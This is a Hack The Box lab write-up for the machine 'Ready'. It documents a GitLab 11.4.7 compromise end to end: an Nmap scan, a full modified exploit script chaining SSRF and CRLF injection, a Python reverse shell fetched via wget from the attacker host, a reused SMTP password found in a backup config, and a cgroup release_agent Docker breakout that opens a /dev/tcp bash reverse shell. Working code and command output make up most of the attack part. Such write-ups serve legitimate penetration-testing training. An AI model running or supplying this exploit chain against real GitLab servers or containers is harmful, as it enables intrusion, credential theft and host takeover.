Home Hack The Box Write-Up Ready - 10.10.10.220
Post
Cancel

Hack The Box Write-Up Ready - 10.10.10.220

The good thing about science is that it’s true whether or not you believe in it.

Neil deGrasse Tyson

About Ready

In this post, I’m writing a write-up for the machine Ready from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

Ready is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15 and submitting the root flag you points will be raised by 30.

Foothold

After the initial port scan with Nmap, we can discover two open ports. The first port is 22/tcp and the second port 5080/tcp. From the banner, the machine is revealing that GitLab is running behind the last port. After registering a user account on GitLab, we can find the GitLab 11.4.7 version. This version of GitLab has a known vulnerability.

User

After downloading the exploit, it needs some modification to get this exploit running correctly with Python3. But, after the modification, we can run the exploit and we have a reverse shell as the user account git.

Root

After doing some manual enumeration, we can find a clear-text password for the user account root. After the lateral movement to the user account root, we are stuck in a restricted shell in a Docker Container. After doing some research, we can find a way to break out this restricted shell and own this machine.

Machine Info

Machine Name: Ready
Difficulty: Medium
Points: 30
Release Date: 12 Dec 2020
IP: 10.10.10.220
Creator: bertolis

Recon

Port scan with Nmap

As always we start this machine with a Nmap port scan. I’ve done a scan, but it’s only discovering the open port 22/tcp. So, I have done the Nmap scan again, now with the -p- parameter.

1
~$ nmap -p- -sC -sV -oA ./nmap/10.10.10.220 10.10.10.220

The results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-02 16:44 EST
Stats: 0:07:43 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 73.56% done; ETC: 16:54 (0:02:46 remaining)
Nmap scan report for 10.10.10.220
Host is up (0.094s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups//edit /users /help  |_/s/ /snippets/new /snippets//edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 602.94 seconds

There are two open ports. The first port is 22/tcp this is the default SSH port. The second port is 5080/tcp. If we look closely at the last port, we can see that there is a GitLab instance running behind this port. We are already familiair with this application from the Laboratory machine.

Enumeration

Enumeration GitLab

Let’s start with the enumeration of GitLab. After visiting GitLab on http://10.10.10.220:5080, we are ending up on the GitLab webpage. There is a possibility to register a user account. I’ve registered a new user account.

Hack-The-Box-Ready-Gitlab-account-registration

After the registration of the user account, we can find the current GitLab version through the help section. And it seems that this GitLab is running version 11.4.7.

Hack-The-Box-Ready-Gitlab-Community-Edition-11.4.7

Through searchsploit, we can find that this version of GitLab CE is suffering a Remote Code Execution (Authenticated). I found an exploit which is using two vulnerabilities. The first one is CVE-2018-19571 an Server-Side Request Forgery (SSRF) vulnerability, and the second one is CVE-2018-19585 Carriage-Return/Line-Feed (CRLF) which is basically newline injections. We can copy the exploit 49263.py to our working directory.

1
~$ cp usr/share/exploitdb/exploits/ruby/webapps/49263.py .

Exploitation

GitLab Remote Code Execution (Authenticated)

After analyzing the payload, we have to do some modifications. This script is not suitable for Python3. We start first by replacing the raw_input() to input(), because it was renamed in Python3. Secondly, on the line numbers 151 and 205 the “bytes” but it has no format attribute and it’s no needed to define one to get this payload working. Last but not least, we have to change some IP-address in the exploit to point this payload to the right server. After the modifications, we got this payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
# Exploit Title: GitLab 11.4.7 Authenticated Remote Code Execution (No Interaction Required)
# Date: 15th December 2020
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
# Software Link: https://about.gitlab.com/
# POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
# Tested on: GitLab 11.4.7 CE
# CVE : CVE-2018-19571 (SSRF),CVE-2018-19585 (CRLF)
import requests
import re
import warnings
from bs4 import BeautifulSoup
import sys
import base64
import urllib
from random_words import RandomWords
import argparse
import os
import time
parser = argparse.ArgumentParser(description='GitLab 11.4.7 Authenticated RCE')
parser.add_argument('-U', help='GitLab Username')
parser.add_argument('-P', help='Gitlab Password')
parser.add_argument('-l', help='rev shell lhost')
parser.add_argument('-p', help='rev shell lport ', type=int)
args = parser.parse_args()
username = args.U
password = args.P
lhost = args.l
lport = args.p
# Retrieve CSRF Token
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
gitlab_url = "http://10.129.49.62:5080"
request = requests.Session()
print("[+] Retrieving CSRF token to submit the login form")
time.sleep(1)
page = request.get(gitlab_url+"/users/sign_in")
html_content = page.text
soup = BeautifulSoup(html_content, features="lxml")
token = soup.findAll('meta')[16].get("content")
print("[+] CSRF Token : "+token)
time.sleep(1)
# Login
login_info = {
    "authenticity_token": token,
    "user[login]": username,
    "user[password]": password,
    "user[remember_me]": "0"
}
login_request = request.post(gitlab_url+"/users/sign_in", login_info)
if login_request.status_code == 200:
    print("[+] Login Successful")
    time.sleep(1)
else:
    print("Login Failed")
    print(" ")
    sys.exit()
# Exploitation
print("[+] Running Exploit")
time.sleep(1)
print("[+] Using IPV6 URL 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git' to bypass filter")
time.sleep(1)
ipv6_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git"
r = RandomWords()
project_name = r.random_word()
project_url = '%s/%s/' % (gitlab_url, username)
print("[+] Creating Project")
time.sleep(1)
print("[+] Project Name : "+project_name)
time.sleep(1)
print("[+] Creating Python Reverse Shell")
time.sleep(1)
python_shell = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' % (
    lhost, lport)
os.system("touch shell.py")
shell_file = open("shell.py", "w")
shell_file.write(python_shell)
shell_file.close()
print("[+] Reverse Shell Generated")
time.sleep(1)
print("[+] Start HTTP Server in current directory")
print("Command : python3 -m http.server 80")
time.sleep(2)
http_server = input("Continue (Y/N) : ")
if (http_server == "N") or (http_server == "n"):
    print("Start HTTP Server before running exploit")
elif (http_server == "Y") or (http_server == "y"):
    print("Run this script twice with options below to get SHELL!")
    print("")
    print("Option 1 : Download shell.py rev shell to server using wget")
    print("Option 2 : Execute shell.py downloaded previously")
    option = input("Option (1/2) : ")
    if option == "1":
        reverse_shell = """\nmulti
         sadd resque:gitlab:queues system_hook_push
         lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid wget http://%s/shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
         exec
         exec
         exec\n""" % (lhost)
        project_page = request.get(gitlab_url+"/projects/new")
        html_content = project_page.text
        soup = BeautifulSoup(html_content, features="lxml")
        project_token = soup.findAll('meta')[16].get("content")
        namespace_id = soup.find(
            'input', {'name': 'project[namespace_id]'}).get('value')
        urlencoded_token1 = project_token.replace("==", "%3D%3D")
        urlencoded_token_final = urlencoded_token1.replace("+", "%2B")
        payload = "utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(
            urlencoded_token_final, ipv6_url, reverse_shell, project_name, namespace_id, project_name)
        proxies = {
            "http": "http://127.0.0.1:8080",
            "https": "https://127.0.0.1:8080",
        }
        cookies = {
            'sidebar_collapsed': 'false',
            'event_filter': 'all',
            'hide_auto_devops_implicitly_enabled_banner_1': 'false',
            '_gitlab_session': request.cookies['_gitlab_session'],
        }
        headers = {
            'Host': '10.10.10.220:5080',
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Referer': 'http://10.10.10.220:5080/projects',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '398',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
        }
        #response = request.post('http://10.10.10.220:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False)
        response1 = request.post(gitlab_url+'/projects', data=payload,
                                 cookies=cookies, proxies=proxies, headers=headers, verify=False)
        print("[+] Success!")
        time.sleep(1)
        print("[+] Run Exploit with Option 2")
    elif option == "2":
        reverse_shell = """\nmulti
         sadd resque:gitlab:queues system_hook_push
         lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid python3 shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
         exec
         exec
         exec\n"""
        project_page = request.get(gitlab_url+"/projects/new")
        html_content = project_page.text
        soup = BeautifulSoup(html_content, features="lxml")
        project_token = soup.findAll('meta')[16].get("content")
        namespace_id = soup.find(
            'input', {'name': 'project[namespace_id]'}).get('value')
        urlencoded_token1 = project_token.replace("==", "%3D%3D")
        urlencoded_token_final = urlencoded_token1.replace("+", "%2B")
        payload = "utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(
            urlencoded_token_final, ipv6_url, reverse_shell, project_name, namespace_id, project_name)
        proxies = {
            "http": "http://127.0.0.1:8080",
            "https": "https://127.0.0.1:8080",
        }
        cookies = {
            'sidebar_collapsed': 'false',
            'event_filter': 'all',
            'hide_auto_devops_implicitly_enabled_banner_1': 'false',
            '_gitlab_session': request.cookies['_gitlab_session'],
        }
        headers = {
            'Host': '10.10.10.220:5080',
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Referer': 'http://10.10.10.220:5080/projects',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '398',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
        }
        #response = request.post('http://10.10.10.220:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False)
        response1 = request.post(gitlab_url+'/projects', data=payload,
                                 cookies=cookies, proxies=proxies, headers=headers, verify=False)
        print("[+] Success!")
        time.sleep(1)
        print("[+] Spawning Reverse Shell")

The last thing we have to do is to install the Python3 module RandomWords and then we can start using the exploit. It’s important to note, that this exploit is using a proxy on 127.0.0.1:8080. For this purpose, we use Burp Suite as the proxy. We can now start the exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
~$ python3 49263.py -U t13nn3s -P 'Mypassword2020@2' -l 10.10.16.144 -p 2222
[+] Retrieving CSRF token to submit the login form
[+] CSRF Token : /4iH8PXX3Ajr5Nsp/6/BXbJLGvdBUUzqPwHA+cDbqJKiOc5J7Zc0ytOJarqevVQg4K8sJp10pQ5dQsyvyk/rTQ==
[+] Login Successful
[+] Running Exploit
[+] Using IPV6 URL 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git' to bypass filter
[+] Creating Project
[+] Project Name : fuse
[+] Creating Python Reverse Shell
[+] Reverse Shell Generated
[+] Start HTTP Server in current directory
Command : python3 -m http.server 80
Continue (Y/N) :

It’s now time to start a web server on port 80/tcp so that we the victim machine can download the created reverse shell file shell.py. We can invoke the command below to start the webserver.

1
~$ python3 -m http.server 80

Press Y, then choose option 1 to the file shell.py downloaded to the machine.

1
2
3
4
5
Continue (Y/N) : Y
Run this script twice with options below to get SHELL!
Option 1 : Download shell.py rev shell to server using wget
Option 2 : Execute shell.py downloaded previously
Option (1/2) : 1

Now, Burp Suite, our proxy, will receive a request, just let the request as it is and forward the request.

1
2
3
~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …
10.10.10.220 - - [04/Feb/2021 16:39:56] "GET /shell.py HTTP/1.1" 200 -

The reverse shell is downloaded to the machine. We can run this script for the second time, and then we need to choose option 2 to execute the shell.py to establish a reverse shell.

1
2
3
4
5
6
Run this script twice with options below to get SHELL!                                                                                                                                        
Option 1 : Download shell.py rev shell to server using wget
Option 2 : Execute shell.py downloaded previously
Option (1/2) : 2
[+] Success!
[+] Spawning Reverse Shell

Reverse shell established.

1
2
3
4
5
6
7
8
9
~$ nc -lvvp 2222
listening on [any] 2222 …
10.10.10.220: inverse host lookup failed: Unknown host
connect to [10.10.16.144] from (UNKNOWN) [10.10.10.220] 45020
/bin/sh: 0: can't access tty; job control turned off
$ whoami
git
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$

We can now read the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
git@gitlab:~/gitlab-rails/working$ cd /home
cd /home
git@gitlab:/home$ ls
ls
dude
git@gitlab:/home$ cd dude
cd dude
git@gitlab:/home/dude$ ls
ls
user.txt
git@gitlab:/home/dude$ cat user.txt
cat user.txt
e1e30b052b6ec0670698805d745e7682
git@gitlab:/home/dude$

Privilege Escalation

Enemuration

Through manual enumeration we can find the password wW59U!ZKMbG9+*#h in the file /opt/backup/gitlab.rb.

1
2
3
4
5
6
7
8
9
10
11
12
13
git@gitlab:/opt/backup$ cat gitlab.rb | grep password
cat gitlab.rb | grep password
Email account password
gitlab_rails['incoming_email_password'] = "[REDACTED]"
password: '_the_password_of_the_bind_user'
password: '_the_password_of_the_bind_user'
'/users/password',
Change the initial default admin password and shared runner registration tokens.
gitlab_rails['initial_root_password'] = "password"
gitlab_rails['db_password'] = nil
gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}

With this password we can switch to the user account root.

1
2
3
4
5
6
7
git@gitlab:/opt/backup$ su - root 
su - root
Password: wW59U!ZKMbG9+*#h
root@gitlab:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@gitlab:~#

Docker breakout

We are in a restricted Docker Container. We need to break out of this restricted environment. Through this article: https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout. I found a payload to do a Docker breakout to establish a reverse shell with root privileges.

1
2
3
4
5
6
7
8
9
10
11
12
root@gitlab:~# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@gitlab:~# echo 1 > /tmp/cgrp/x/notify_on_release
root@gitlab:~# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@gitlab:~# echo "$host_path/cmd" > /tmp/cgrp/release_agent
root@gitlab:~# echo '#!/bin/sh' > /cmd
root@gitlab:~# echo "ps aux > $host_path/output" >> /cmd
root@gitlab:~# chmod a+x /cmd
root@gitlab:~# echo '#!/bin/bash' > /cmd
root@gitlab:~# echo "bash -i >& /dev/tcp/10.10.16.144/5555 0>&1" >> /cmd
root@gitlab:~# chmod a+x /cmd
root@gitlab:~# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@gitlab:~# head /output

Own Ready

We can now own this machine.

1
2
3
4
5
6
7
8
9
~$ netcat -lvvp 5555                                                                       
listening on [any] 5555 …                                                                   
10.10.10.220: inverse host lookup failed: Unknown host                                        
connect to [10.10.16.144] from (UNKNOWN) [10.10.10.220] 36252                                 
bash: cannot set terminal process group (-1): Inappropriate ioctl for device                  
bash: no job control in this shell                                                            
root@ready:/# cat /root/root.txt                                                              
cat /root/root.txt                                                                            
b7f98681505cd39066f67147b103c2b3

Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!

Happy Hacking :-)

This post is licensed under CC BY 4.0 by the author.